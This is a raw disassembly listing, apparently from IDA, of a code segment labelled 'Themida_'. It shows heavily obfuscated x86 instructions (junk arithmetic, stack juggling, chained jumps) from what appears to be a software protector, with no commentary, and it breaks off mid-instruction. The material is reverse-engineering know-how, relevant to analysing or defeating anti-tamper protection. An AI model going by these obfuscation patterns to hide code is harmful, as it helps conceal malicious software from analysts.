Themida_:0059D9F9j xor al, bl push small 6B88h jmp loc_596727 ; --------------------------------------------------------------------------- loc_59765A: ; CODE XREF: Themida_:00595C56j add ecx, eax pop eax push 3B0Ch jmp loc_5A1A92 ; --------------------------------------------------------------------------- loc_597667: ; CODE XREF: Themida_:005A3853j xor ebp, 53027A95h push ebp pop edi pop ebp add edi, 788C17E4h push edi not dword ptr [esp] pop edi neg edi sub esp, 4 mov [esp], ebp mov ebp, 216D09C7h and edi, ebp mov ebp, [esp] push eax mov eax, esp jmp loc_59EE54 ; --------------------------------------------------------------------------- loc_597698: ; CODE XREF: Themida_:005A40D4j sub cl, 69h pop eax jmp loc_59B100 ; --------------------------------------------------------------------------- loc_5976A1: ; CODE XREF: Themida_:00595AE3j xor eax, edi pop edi sub esi, 24EE463Bh add esi, eax sub esp, 4 mov [esp], ebp push ecx mov ecx, 1446580Bh mov ebp, 10A7EE30h sub ebp, 1C525613h add ebp, ecx add ebp, 1C525613h pop ecx jmp loc_5A2BC3 ; --------------------------------------------------------------------------- loc_5976D4: ; CODE XREF: Themida_:0059E540j add ecx, 0C0FAEA5Ch sub ebp, ecx pop ecx pop esi push ebx push ebp push ecx push edx jmp loc_5A1D16 ; --------------------------------------------------------------------------- loc_5976E7: ; CODE XREF: Themida_:0059791Aj sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push 581Bh mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_59E76A ; --------------------------------------------------------------------------- mov ax, [esp] push 6803h mov [esp], eax push esp push dword ptr [esp] pop eax push 5579h mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 jmp loc_596717 ; --------------------------------------------------------------------------- loc_59773A: ; CODE XREF: Themida_:00599018j add esp, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] xor ebx, eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5A3828 ; --------------------------------------------------------------------------- loc_597765: ; CODE XREF: Themida_:005A5589j pop ebp add ebp, 4 sub esp, 4 mov [esp], ebx mov ebx, 449047A4h push 4DB3h mov [esp], ebp jmp loc_59D515 ; --------------------------------------------------------------------------- loc_597784: ; CODE XREF: Themida_:005974F6j dec ecx dec ecx jmp loc_59B403 ; --------------------------------------------------------------------------- loc_59778B: ; CODE XREF: Themida_:00596594j not ecx inc ecx or ecx, 34F266A8h add ecx, 236E860Ah jmp loc_59EEF1 ; --------------------------------------------------------------------------- loc_59779F: ; CODE XREF: Themida_:0059764Aj add ebx, 4 add ebx, 4 jmp loc_59C91E ; --------------------------------------------------------------------------- loc_5977AD: ; CODE XREF: Themida_:005A2F9Dj mov [esp], ecx mov ecx, 3F8D7C71h mov esi, 0F928C704h jmp loc_593821 ; --------------------------------------------------------------------------- loc_5977BF: ; CODE XREF: Themida_:005971D3j push 0F1A17EAh pop ecx jmp loc_594AEE ; --------------------------------------------------------------------------- loc_5977CA: ; CODE XREF: Themida_:0059B83Cj mov eax, 238D1BC8h not eax shr eax, 7 push ebp mov ebp, 6FAF1ACFh push ecx mov ecx, 419467EFh add ebp, ecx pop ecx jmp loc_599C34 ; --------------------------------------------------------------------------- loc_5977E8: ; CODE XREF: Themida_:0059F938j mov si, 2 add word ptr [esp+2], 2A4Ah add [esp+2], si push dx jmp loc_59E7E7 ; --------------------------------------------------------------------------- loc_5977FF: ; CODE XREF: Themida_:0059E158j add edi, ebx pop ebx push 1191h mov [esp], ebx mov ebx, 4 push edx jmp loc_5A13F6 ; --------------------------------------------------------------------------- loc_597815: ; CODE XREF: Themida_:005A064Fj sub eax, 3C0B0F10h push ebx mov ebx, 4689791Ch or eax, ebx pop ebx sub esp, 4 jmp loc_5A310E ; --------------------------------------------------------------------------- loc_59782B: ; CODE XREF: Themida_:00598138j push 75A0h mov [esp], eax mov eax, 138F5A22h xor ebx, eax pop eax dec ebx neg ebx sub ebx, 172C7453h sub ebx, 607E0ECEh sub ebx, 17554E03h add esi, 1B72031Bh add esi, ebx sub esi, 1B72031Bh pop ebx sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 28F57502h push edx sub dword ptr [esp], 17A504B3h pop esi jmp loc_59DBDD ; --------------------------------------------------------------------------- loc_597885: ; CODE XREF: Themida_:00597C03j add edx, esi mov esi, [esp] add esp, 4 push edx pop eax pop edx sub esp, 4 mov [esp], ebx push 2B64h mov [esp], ebp jmp loc_59F007 ; --------------------------------------------------------------------------- loc_5978A9: ; CODE XREF: Themida_:00595D45j mov bl, al pop eax mov cl, bl jmp loc_590EEB ; --------------------------------------------------------------------------- loc_5978B3: ; CODE XREF: Themida_:0059B289j add ebx, 46954D17h sub ebx, 425D7224h jmp loc_5923AC ; --------------------------------------------------------------------------- loc_5978C4: ; CODE XREF: Themida_:0059DFC4j sub ecx, 0B8CC2130h add ebx, ecx pop ecx mov eax, [esp] add esp, 4 and eax, ebx pop ebx shr eax, 8 xor eax, ecx push 7EF0h mov [esp], eax xchg ecx, [esp] jmp loc_59B2E1 ; --------------------------------------------------------------------------- loc_5978EB: ; CODE XREF: Themida_:005A4078j pop esp bt [esp], eax pushf jmp loc_590E45 ; --------------------------------------------------------------------------- loc_5978F6: ; CODE XREF: Themida_:0059B757j shr eax, 7 push ebx mov ebx, 2DAD9924h jmp loc_59CFCA ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5976E7 ; --------------------------------------------------------------------------- loc_59791F: ; CODE XREF: Themida_:00593DBFj push edi mov edi, esp add edi, 4 jmp loc_5964F1 ; --------------------------------------------------------------------------- loc_59792D: ; CODE XREF: Themida_:0059CB35j pop eax xchg ebp, [esp] pop esp xor al, bh jmp loc_596C61 ; --------------------------------------------------------------------------- loc_597939: ; CODE XREF: Themida_:00599528j mov esp, [esp] push eax mov eax, esp add eax, 4 jmp loc_59A278 ; --------------------------------------------------------------------------- loc_597949: ; CODE XREF: Themida_:00598500j push ebx push ebp mov ebp, 5FB9503Dh dec ebp dec ebp add ebp, 0A046AFC7h mov ebx, ebp pop ebp jmp loc_592F35 ; --------------------------------------------------------------------------- loc_597960: ; CODE XREF: Themida_:0059D7D5j mov ebx, [esp] add esp, 4 sub al, bl sub al, 5Ah push 74E1h mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_59A516 ; --------------------------------------------------------------------------- loc_59798C: ; CODE XREF: Themida_:00599D7Cj xor edx, edi pop edi jmp loc_599D2D ; --------------------------------------------------------------------------- loc_597994: ; CODE XREF: Themida_:00598C58j push 7120h mov [esp], edx mov edi, [esp] add esp, 4 jmp loc_5A4E08 ; --------------------------------------------------------------------------- loc_5979AA: ; CODE XREF: Themida_:005A00B3j add esp, 4 push eax push ecx jmp loc_5A10D7 ; --------------------------------------------------------------------------- loc_5979B4: ; CODE XREF: Themida_:005923B5j push 0 sub [esp], ebx pop ebx xor ebx, 35DA6022h push eax jmp loc_59B481 ; --------------------------------------------------------------------------- loc_5979C9: ; CODE XREF: Themida_:0059FC68j not bl mov ch, bl mov bx, [esp] add esp, 2 push eax push edx jmp loc_59BA21 ; --------------------------------------------------------------------------- loc_5979DB: ; CODE XREF: Themida_:005A32A0j pop esp push small 7E97h mov [esp], dx push eax mov al, 0A0h mov dl, al pop eax sub al, 2Ch jmp loc_59194C ; --------------------------------------------------------------------------- loc_5979F1: ; CODE XREF: Themida_:005A44F2j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5979F6: ; CODE XREF: Themida_:0059970Dj mov esi, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] shr ecx, 2 push eax push 3E88h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_59125B ; --------------------------------------------------------------------------- loc_597A18: ; CODE XREF: Themida_:00591DFDj push 1A45CFEh pop esi sub esi, 1A45CFAh jmp loc_5A1772 ; --------------------------------------------------------------------------- loc_597A29: ; CODE XREF: Themida_:0059F6FAj mov ecx, 2E8E5790h or ecx, 57871965h dec ecx not ecx jmp loc_598286 ; --------------------------------------------------------------------------- loc_597A3C: ; CODE XREF: Themida_:00593B01j push eax mov eax, 2 add edi, eax pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_597A5A: ; CODE XREF: Themida_:00591613j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_598512 ; --------------------------------------------------------------------------- loc_597A6D: ; CODE XREF: Themida_:0059A993j mov [esp], eax mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A1933 ; --------------------------------------------------------------------------- loc_597A8A: ; CODE XREF: Themida_:0059DC9Cj add ebp, 25FC25B0h add ebp, 7BF47963h push eax jmp loc_5A0A71 ; --------------------------------------------------------------------------- loc_597A9C: ; CODE XREF: Themida_:0059806Ej mov edx, 0E85A0AE9h jmp loc_5A2A66 ; --------------------------------------------------------------------------- loc_597AA6: ; CODE XREF: Themida_:00598DFEj add al, dh pop edx add al, bl push ebx mov bh, 0F6h and bh, 0ABh not bh add bh, 4Ah sub al, bh pop ebx push dword ptr [esp] pop ebx jmp loc_59AA93 ; --------------------------------------------------------------------------- loc_597AC2: ; CODE XREF: Themida_:0059A11Aj mov ebx, 446E7790h push esi mov esi, 376A65AFh sub esi, 2176264h neg esi inc esi shl esi, 4 xor esi, 946FA781h add eax, esi pop esi add eax, ebx sub eax, 3EA06CE1h push dword ptr [esp] pop ebx add esp, 4 jmp loc_595AEF ; --------------------------------------------------------------------------- loc_597AF8: ; CODE XREF: Themida_:00594863j sub ecx, 718EEA9Bh add ebx, ecx pop ecx pop edi add ebx, edx push dword ptr [esp] pop edx add esp, 4 xor ebx, 1DD24576h add edx, ebx pop ebx jmp loc_59F0C0 ; --------------------------------------------------------------------------- loc_597B1C: ; CODE XREF: Themida_:005949BBj mov [esp], edi push 45A2h mov [esp], esp add dword ptr [esp], 4 jmp loc_5910FC ; --------------------------------------------------------------------------- loc_597B30: ; CODE XREF: Themida_:005A2E96j mov ecx, 73FD494Dh or ebp, ecx pop ecx jmp loc_598829 ; --------------------------------------------------------------------------- loc_597B3D: ; CODE XREF: Themida_:0059D8ABj xor cl, 1Eh neg cl and cl, 0D9h push edx jmp loc_59C61A ; --------------------------------------------------------------------------- loc_597B4B: ; CODE XREF: Themida_:005A372Aj add esp, 4 push edx push 6589h mov [esp], esp push edx push edi jmp loc_5989B5 ; --------------------------------------------------------------------------- loc_597B61: ; CODE XREF: Themida_:0059F8C5j sub al, 0C6h mov dx, [esp] add esp, 2 add al, 1Fh add al, bl sub al, 1Fh push ebx mov bh, 75h push ecx push eax mov ah, 35h push eax inc byte ptr [esp+1] pop eax push edx jmp loc_5922A6 ; --------------------------------------------------------------------------- loc_597B86: ; CODE XREF: Themida_:005A2FDFj add edi, ebp pop ebp jmp loc_594FA5 ; --------------------------------------------------------------------------- loc_597B8E: ; CODE XREF: Themida_:0059181Cj xor edx, 6DF15016h push eax mov eax, 0AD88ABEEh sub edx, eax jmp loc_591004 ; --------------------------------------------------------------------------- loc_597BA1: ; CODE XREF: Themida_:0059D782j add al, 44h push 3ADFh mov [esp], ebx jmp loc_5A5609 ; --------------------------------------------------------------------------- loc_597BB0: ; CODE XREF: Themida_:005957DCj mov bl, 0A5h xor bl, 80h xor bl, 22h shr bl, 1 jmp loc_593ACE ; --------------------------------------------------------------------------- loc_597BBF: ; CODE XREF: Themida_:0059CE86j push ebp mov ebp, 2C9909FEh inc ebp inc ebp jmp loc_596E07 ; --------------------------------------------------------------------------- loc_597BCC: ; CODE XREF: Themida_:005A1343j add esp, 4 add eax, 76132D26h push ebx mov ebx, 0B551B2Fh sub eax, ebx pop ebx sub eax, 36046E0Ah sub eax, ebp add eax, 36046E0Ah push ecx mov ecx, 31BE614Ah xor ecx, 22196995h jmp loc_59972E ; --------------------------------------------------------------------------- loc_597BFD: ; CODE XREF: Themida_:00598D20j add esi, 0E57EA6E8h jmp loc_597885 ; --------------------------------------------------------------------------- loc_597C08: ; CODE XREF: Themida_:0059AC4Cj mov [esp], ebp push esp pop ebp push 5AA4h mov [esp], esi jmp loc_59E524 ; --------------------------------------------------------------------------- loc_597C1A: ; CODE XREF: Themida_:005949F9j pop ebx xor al, ch mov cx, [esp] add esp, 2 xor bl, al sub esp, 4 mov [esp], ebx push 54D5h mov [esp], ebp mov ebp, 6E8D7E3Ah jmp loc_5A201B ; --------------------------------------------------------------------------- loc_597C41: ; CODE XREF: Themida_:0059C671j mov ebp, 549851CAh push edx jmp loc_5A000F ; --------------------------------------------------------------------------- loc_597C4C: ; CODE XREF: Themida_:005A371Ej push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp jmp loc_59085F ; --------------------------------------------------------------------------- loc_597C65: ; CODE XREF: Themida_:005A3F50j pop esi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx sub esp, 4 jmp loc_5947E3 ; --------------------------------------------------------------------------- loc_597C7B: ; CODE XREF: Themida_:00590822j xor edi, 8C79B1C4h add esi, edi pop edi push 3943h mov [esp], ebp mov ebp, 20BD3565h sub esi, 641C1F06h sub esi, ebp add esi, 641C1F06h mov ebp, [esp] add esp, 4 push edi mov edi, 1295D6Ch add esi, edi mov edi, [esp] push eax mov eax, esp jmp loc_59567C ; --------------------------------------------------------------------------- loc_597CBB: ; CODE XREF: Themida_:0059F095j shr eax, 0Bh xor ecx, eax push esi mov esi, esp push eax mov eax, 4 add esi, eax pop eax sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A3A2A ; --------------------------------------------------------------------------- loc_597CDD: ; CODE XREF: Themida_:0059D567j mov ebx, 51F01FBh sub esi, ebx pop ebx mov edx, esi push dword ptr [esp] pop esi jmp loc_59B339 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] jmp loc_5910E4 ; --------------------------------------------------------------------------- loc_597CFB: ; CODE XREF: Themida_:0059F20Cj sub esi, 38AC30F0h not esi jmp loc_596F87 ; --------------------------------------------------------------------------- loc_597D08: ; CODE XREF: Themida_:0059F3E8j mov ebp, 3EB21B2h jmp loc_599AE6 ; --------------------------------------------------------------------------- loc_597D12: ; CODE XREF: Themida_:00598ACAj inc ebx xor ebx, 722910CAh sub eax, ebx jmp loc_591E41 ; --------------------------------------------------------------------------- loc_597D20: ; CODE XREF: Themida_:0059C155j add edi, 4 jmp loc_5A1009 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5936BC ; --------------------------------------------------------------------------- loc_597D39: ; CODE XREF: Themida_:005971EAj push esi push 476D9EEEh pop esi jmp loc_5A17EB ; --------------------------------------------------------------------------- loc_597D45: ; CODE XREF: Themida_:0059D457j mov ch, 39h jmp loc_59529C ; --------------------------------------------------------------------------- loc_597D4C: ; CODE XREF: Themida_:005A38F6j mov esp, [esp] jmp loc_592DCD ; --------------------------------------------------------------------------- loc_597D54: ; CODE XREF: Themida_:0059D5F1j pop esi add esi, 378643F6h sub esi, 620C2589h add esi, eax add esi, 620C2589h sub esi, 378643F6h push dword ptr [esp] pop eax push edi push esp pop edi add edi, 4 jmp loc_59E029 ; --------------------------------------------------------------------------- loc_597D81: ; CODE XREF: Themida_:0059BA63j push ebp push esp pop ebp add ebp, 4 jmp loc_59CB45 ; --------------------------------------------------------------------------- loc_597D8F: ; CODE XREF: Themida_:00598238j mov edi, 2E6AB196h add edx, edi pop edi neg edx dec edx jmp loc_597370 ; --------------------------------------------------------------------------- loc_597D9F: ; CODE XREF: Themida_:005A04F9j sub eax, 0E61EC2C5h mov edx, eax pop eax jmp loc_5973E5 ; --------------------------------------------------------------------------- loc_597DAC: ; CODE XREF: Themida_:00590B8Fj pop edi add ebp, 3FD4689Ch jmp loc_59F36D ; --------------------------------------------------------------------------- loc_597DB8: ; CODE XREF: Themida_:00591D88j shr dl, 1 sub dl, 28h sub cl, dl jmp loc_59A9FC ; --------------------------------------------------------------------------- loc_597DC4: ; CODE XREF: Themida_:005A09C3j add esp, 2 sub esp, 4 jmp loc_59EAE5 ; --------------------------------------------------------------------------- loc_597DD2: ; CODE XREF: Themida_:005A3F71j add dh, 31h mov bx, [esp] add esp, 2 jmp loc_59176C ; --------------------------------------------------------------------------- loc_597DE1: ; CODE XREF: Themida_:00593F61j pop ecx add ebx, edx sub ebx, 765B6DA6h push dword ptr [esp] mov edx, [esp] push eax jmp loc_5A4D7C ; --------------------------------------------------------------------------- loc_597DF6: ; CODE XREF: Themida_:0059C853j mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] jmp loc_5A33D7 ; --------------------------------------------------------------------------- loc_597E08: ; CODE XREF: Themida_:005A51A0j push eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx jmp loc_5A151D ; --------------------------------------------------------------------------- loc_597E1D: ; CODE XREF: Themida_:00598256j pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 16C40D11h xor ebp, 16C40D15h add ecx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5933FC ; --------------------------------------------------------------------------- loc_597E4D: ; CODE XREF: Themida_:005A47EEj sub ecx, esi pop esi push edx mov edx, 4AA727DCh add ecx, edx pop edx mov [ecx], dl push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_591896 ; --------------------------------------------------------------------------- loc_597E6A: ; CODE XREF: Themida_:00597F5Aj inc eax shr eax, 2 sub eax, 689B2403h push esi jmp loc_59D667 ; --------------------------------------------------------------------------- lodsb xor al, bl push 46A0h mov [esp], ebx push edx push 4849h mov [esp], ebx push ecx mov ch, 91h jmp loc_59AC9E ; --------------------------------------------------------------------------- loc_597E95: ; CODE XREF: Themida_:00592E01j push esi mov esi, esp add esi, 4 jmp loc_5A2B25 ; --------------------------------------------------------------------------- loc_597EA3: ; CODE XREF: Themida_:0059A86Cj sub eax, 1E492076h add eax, edx add eax, 1E492076h jmp loc_59EC86 ; --------------------------------------------------------------------------- loc_597EB4: ; CODE XREF: Themida_:0059A5E3j add eax, ebx add eax, 7322705Eh push esi jmp loc_597020 ; --------------------------------------------------------------------------- loc_597EC1: ; CODE XREF: Themida_:005A3229j not ebx jmp loc_59B0E4 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_5A3F0E ; --------------------------------------------------------------------------- loc_597ED3: ; CODE XREF: Themida_:005962C7j push 60225C8Bh pop edx and edx, 77C31509h sub esp, 4 mov [esp], edi mov edi, 67D810D6h xor edi, 5773AF6h xor edi, 7A9BF5D3h sub edx, edi pop edi sub ebx, edx pop edx push edi mov edi, 6B330F70h add edi, 444C0661h sub edi, 21EB1C63h neg edi jmp loc_59C2FF ; --------------------------------------------------------------------------- loc_597F15: ; CODE XREF: Themida_:0059EAF0j add al, 0Ah add al, bh push ebx mov bl, 8Ah shr bl, 7 jmp loc_5A3A5E ; --------------------------------------------------------------------------- loc_597F24: ; CODE XREF: Themida_:0059FE9Cj sub edi, 3C75C7B0h sub ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5A5063 ; --------------------------------------------------------------------------- loc_597F3B: ; CODE XREF: Themida_:00593125j neg ecx not ecx sub ecx, 0D509053Fh push edi jmp loc_5937C8 ; --------------------------------------------------------------------------- loc_597F4B: ; CODE XREF: Themida_:005969FDj pop ecx push 39A7h mov [esp], ebx push eax mov eax, 4BB60CBEh jmp loc_597E6A ; --------------------------------------------------------------------------- loc_597F5F: ; CODE XREF: Themida_:0059EE86j mov esi, 4 add edi, esi pop esi add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx push 3C1Eh mov [esp], esp add dword ptr [esp], 4 pop ecx push ebp mov ebp, 4 push edi jmp loc_590E27 ; --------------------------------------------------------------------------- loc_597F8E: ; CODE XREF: Themida_:005A3703j pop ebx jmp loc_5981EF ; --------------------------------------------------------------------------- loc_597F94: ; CODE XREF: Themida_:0059898Bj pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_597FA7: ; CODE XREF: Themida_:005A5462j push esi mov esi, 31893F47h jmp loc_59C1F1 ; --------------------------------------------------------------------------- loc_597FB2: ; CODE XREF: Themida_:005A27B5j pop ebp add ebp, 0AFF8C1B5h mov edi, ebp jmp loc_59CC4C ; --------------------------------------------------------------------------- loc_597FC0: ; CODE XREF: Themida_:005904B4j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push edi jmp loc_59A0D2 ; --------------------------------------------------------------------------- loc_597FD0: ; CODE XREF: Themida_:0059CBF0j shr esi, 5 and esi, 22B95AE4h shr esi, 6 push edi jmp loc_594911 ; --------------------------------------------------------------------------- loc_597FE2: ; CODE XREF: Themida_:005931F1j mov [esp], eax jmp loc_5A4B1A ; --------------------------------------------------------------------------- loc_597FEA: ; CODE XREF: Themida_:00598824j push 233Ch mov [esp], ebx mov ebx, 347D6EC6h dec ebx and ebx, 50F613DCh push edx mov edx, 722714AAh xor ebx, edx jmp loc_5A3990 ; --------------------------------------------------------------------------- loc_59800B: ; CODE XREF: Themida_:005A00C1j mov ax, [esp] push 58ADh mov [esp], ebx jmp loc_5919F0 ; --------------------------------------------------------------------------- loc_59801C: ; CODE XREF: Themida_:0059F044j add esp, 4 movzx ecx, al jmp loc_5990D8 ; --------------------------------------------------------------------------- loc_598027: ; CODE XREF: Themida_:005A163Dj add eax, ebp pop ebp sub eax, 169749DFh add eax, 3B06690h push 51EAh mov [esp], esi mov esi, 51490605h push edi jmp loc_594490 ; --------------------------------------------------------------------------- loc_598047: ; CODE XREF: Themida_:0059CEE1j pop ecx add [esp+8], edx jmp loc_5916BD ; --------------------------------------------------------------------------- loc_598051: ; CODE XREF: Themida_:005A1767j push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 jmp loc_5A49DD ; --------------------------------------------------------------------------- loc_598065: ; CODE XREF: Themida_:0059BC48j mov ecx, 395E2B95h xor ecx, ebx pop ebx push edx jmp loc_597A9C ; --------------------------------------------------------------------------- loc_598073: ; CODE XREF: Themida_:005A482Fj add ebp, 0FFFFFFFFh jmp loc_598E5C ; --------------------------------------------------------------------------- loc_59807E: ; CODE XREF: Themida_:005A1D25j pop dword ptr [esp] jmp loc_5A3CC8 ; --------------------------------------------------------------------------- loc_598086: ; CODE XREF: Themida_:005A52C5j add [esp+4], eax pop eax pop ecx push eax mov eax, 11907163h push 62BCh mov [esp], ebx mov ebx, 73A779CAh dec ebx xor ebx, 400E4F14h xor eax, ebx mov ebx, [esp] jmp loc_5A52F4 ; --------------------------------------------------------------------------- loc_5980B0: ; CODE XREF: Themida_:005921F4j sub al, 12h jmp loc_59C11F ; --------------------------------------------------------------------------- loc_5980B7: ; CODE XREF: Themida_:005975C5j add esp, 2 pop small word ptr [esp] add word ptr [esp], 2 jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5980C8: ; CODE XREF: Themida_:005A15F9j add edi, 4 jmp loc_59B209 ; --------------------------------------------------------------------------- loc_5980D3: ; CODE XREF: Themida_:005A083Bj not ecx sub ecx, 337E4FABh jmp loc_595218 ; --------------------------------------------------------------------------- loc_5980E0: ; CODE XREF: Themida_:005A2C5Ej sub esp, 4 mov [esp], esi jmp loc_59E322 ; --------------------------------------------------------------------------- loc_5980EB: ; CODE XREF: Themida_:0059175Fj xor ebx, 11D35B8Dh xor ebx, 0E161C2h add ebx, 0F3363A00h mov edi, ebx pop ebx sub ecx, edi pop edi inc ecx jmp loc_59D0D4 ; --------------------------------------------------------------------------- loc_598109: ; CODE XREF: Themida_:0059C56Fj mov esi, 4 sub edi, 5F5139E1h add edi, esi jmp loc_59D2AC ; --------------------------------------------------------------------------- loc_59811B: ; CODE XREF: Themida_:005A136Dj mov edi, 4 add [esp+4], edi pop edi jmp loc_591D25 ; --------------------------------------------------------------------------- loc_59812A: ; CODE XREF: Themida_:0059D8F9j shr ebp, 4 jmp loc_5A0747 ; --------------------------------------------------------------------------- loc_598132: ; CODE XREF: Themida_:005A2558j push ebx mov ebx, 628F74FBh jmp loc_59782B ; --------------------------------------------------------------------------- loc_59813D: ; CODE XREF: Themida_:005A206Aj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx sub esp, 4 jmp near ptr word_590496 ; --------------------------------------------------------------------------- loc_598158: ; CODE XREF: Themida_:005935D3j add esp, 4 sub eax, 2B93DB4h add ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_59F9D1 ; --------------------------------------------------------------------------- loc_598174: ; CODE XREF: Themida_:00594D4Ej add esp, 4 add esp, 4 jmp loc_59692B ; --------------------------------------------------------------------------- loc_598182: ; CODE XREF: Themida_:00592035j add al, 4Eh sub al, bh sub al, 4Eh pop ebx add al, 45h sub al, 91h sub al, dl add al, 91h sub al, 45h sub esp, 2 mov [esp], cx mov cl, 63h add al, cl mov cx, [esp] jmp loc_5A3A7F ; --------------------------------------------------------------------------- loc_5981A7: ; CODE XREF: Themida_:005A2A61j mov cl, dl sub esp, 4 mov [esp], edx mov dh, cl jmp loc_59B1D8 ; --------------------------------------------------------------------------- loc_5981B9: ; CODE XREF: Themida_:00599B1Aj pop edx push ebp push dword ptr [esp+4] jmp loc_59E420 ; --------------------------------------------------------------------------- loc_5981C4: ; CODE XREF: Themida_:005A3647j mov edi, 4FA22BC0h xor [esp+4], edi pop edi push dword ptr [esp] jmp loc_59FD8C ; --------------------------------------------------------------------------- loc_5981D6: ; CODE XREF: Themida_:00593535j mov esp, [esp] jmp loc_598A79 ; --------------------------------------------------------------------------- loc_5981DE: ; CODE XREF: Themida_:0059ABC8j xor eax, 2D7C1FF8h push edi jmp loc_5A48D2 ; --------------------------------------------------------------------------- loc_5981E9: ; CODE XREF: Themida_:0059C0FCj pop esi jmp loc_5A2550 ; --------------------------------------------------------------------------- loc_5981EF: ; CODE XREF: Themida_:00597F8Fj neg esi jmp loc_5909F2 ; --------------------------------------------------------------------------- loc_5981F6: ; CODE XREF: Themida_:0059A48Dj add ebx, 6BCE5BC7h add ebx, edx push eax mov eax, 6BCE5BC7h sub ebx, eax pop eax mov edx, [esp] push esi mov esi, esp jmp loc_5934E6 ; --------------------------------------------------------------------------- loc_598212: ; CODE XREF: Themida_:005A5286j mov esi, 57115534h add esi, 0A8EEAAD0h sub edx, esi pop esi xchg edx, [esp] mov esp, [esp] jmp loc_5942A8 ; --------------------------------------------------------------------------- loc_59822B: ; CODE XREF: Themida_:00593E0Ej mov ebp, 30714347h not ebp jmp loc_59DE21 ; --------------------------------------------------------------------------- loc_598237: ; CODE XREF: Themida_:00590C9Aj push edi jmp loc_597D8F ; --------------------------------------------------------------------------- loc_59823D: ; CODE XREF: Themida_:005A1CF5j push dword ptr [esp] mov esi, [esp] jmp loc_5A21ED ; --------------------------------------------------------------------------- loc_598248: ; CODE XREF: Themida_:005A151Ej xor eax, [esp] xor [esp], eax jmp loc_590544 ; --------------------------------------------------------------------------- loc_598253: ; CODE XREF: Themida_:005A54B0j xor eax, [esp] jmp loc_597E1D ; --------------------------------------------------------------------------- loc_59825B: ; CODE XREF: Themida_:00595E08j push edx jmp loc_59D5F6 ; --------------------------------------------------------------------------- loc_598261: ; CODE XREF: Themida_:0059B380j mov [esp], ecx mov ch, 27h shr ch, 1 xor ch, 0E2h jmp loc_595049 ; --------------------------------------------------------------------------- loc_598270: ; CODE XREF: Themida_:00595ABAj push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_59DB03 ; --------------------------------------------------------------------------- loc_598286: ; CODE XREF: Themida_:00597A37j shl ecx, 5 push ebp mov ebp, 0F9F578CEh sub ecx, ebp pop ebp xor edx, ecx pop ecx jmp loc_5A0189 ; --------------------------------------------------------------------------- loc_59829A: ; CODE XREF: Themida_:005A1F5Ej xor eax, [esp] mov esp, [esp] add esp, 4 push edi mov edi, 78533F6Dh inc edi add edi, 3A3F1936h add edi, 4BB96C46h xor edi, 0B1E9EF2Ah xor eax, edi mov edi, [esp] add esp, 4 mov esi, [esp] add esp, 4 shl eax, cl jmp loc_59B2C5 ; --------------------------------------------------------------------------- loc_5982D4: ; CODE XREF: Themida_:005A5147j mov eax, [esp] add esp, 4 push 3E42h mov [esp], edx mov dl, 67h jmp loc_5957D9 ; --------------------------------------------------------------------------- loc_5982E9: ; CODE XREF: Themida_:0059D9C8j xchg edx, [esp] jmp loc_590D50 ; --------------------------------------------------------------------------- loc_5982F1: ; CODE XREF: Themida_:0059F7C4j pop ebp add ebp, 5C873FBDh add ebp, 0B5B0A7D1h mov ecx, ebp pop ebp jmp loc_5A4722 ; --------------------------------------------------------------------------- loc_598306: ; CODE XREF: Themida_:0059F8F8j mov esp, [esp] or ecx, ecx jz loc_591A19 push esp push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_5A3762 ; --------------------------------------------------------------------------- loc_59831E: ; CODE XREF: Themida_:005A3B56j pop ebx add esi, 4 xchg esi, [esp] mov esp, [esp] mov dword ptr [edx+30h], 466649C0h push ebx jmp loc_590EB4 ; --------------------------------------------------------------------------- loc_598338: ; CODE XREF: Themida_:005A4432j xchg esi, [esp] jmp loc_59C358 ; --------------------------------------------------------------------------- loc_598340: ; CODE XREF: Themida_:0059BA28j add esp, 4 mov bh, ah mov eax, [esp] add esp, 4 mov cx, [esp] add esp, 2 xor bh, al xor al, bh xor bh, al push 